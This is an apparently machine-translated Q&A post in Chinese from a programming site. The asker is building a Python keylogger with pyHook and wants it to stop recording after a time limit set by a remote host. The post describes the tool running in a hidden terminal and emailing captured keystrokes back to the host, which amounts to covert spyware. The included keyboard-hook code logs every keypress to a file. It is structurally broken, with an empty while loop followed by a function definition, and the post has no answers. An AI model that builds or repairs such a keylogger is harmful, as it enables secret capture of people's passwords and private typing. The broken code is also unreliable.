经过一定时间后,如何停止键盘记录程序记录按键操作?

时间:2018-09-02 22:53:37

标签: logging time python-3.6 keylogger pyhook

因此,我试图制作一个键盘记录器,以便在键盘记录器完成记录后发送电子邮件。我有一个服务器/客户端程序,该程序允许服务器/主机将数据发送到隐藏的终端,并通过用户电子邮件发送回按键,该电子邮件也由主机输入。这些细节并不是很重要,但是我所拥有的是一段代码,需要我的帮助。我要执行的操作是在经过一定时间后停止记录,这也由主机定义。 我的代码如下:

while time.time() < t_end:
def OnKeyboardEvent(event):
    logging.basicConfig(filename=file, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

0 个答案:

没有答案